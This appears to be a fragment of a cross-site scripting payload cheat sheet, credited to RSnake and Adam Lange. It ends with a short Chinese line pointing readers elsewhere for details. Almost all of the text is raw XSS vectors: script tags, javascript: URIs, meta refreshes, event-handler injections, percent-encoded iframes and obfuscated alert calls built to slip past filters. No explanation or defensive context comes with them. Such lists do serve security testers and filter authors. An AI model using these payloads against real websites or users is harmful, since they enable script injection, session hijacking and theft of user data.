; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript:alert(1)>CLICKME <input/onmouseover="javaSCRIPT:confirm(1)" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> |
(alert)(1)
a=alert,a(1) [1].find(alert) top[“al”+”ert”](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top[‘al\145rt’](1) top[‘al\x65rt’](1) top[8680439..toString(30)](1) |
Robert "RSnake" Hansen
Adam Lange
就不同介绍了,详情请访问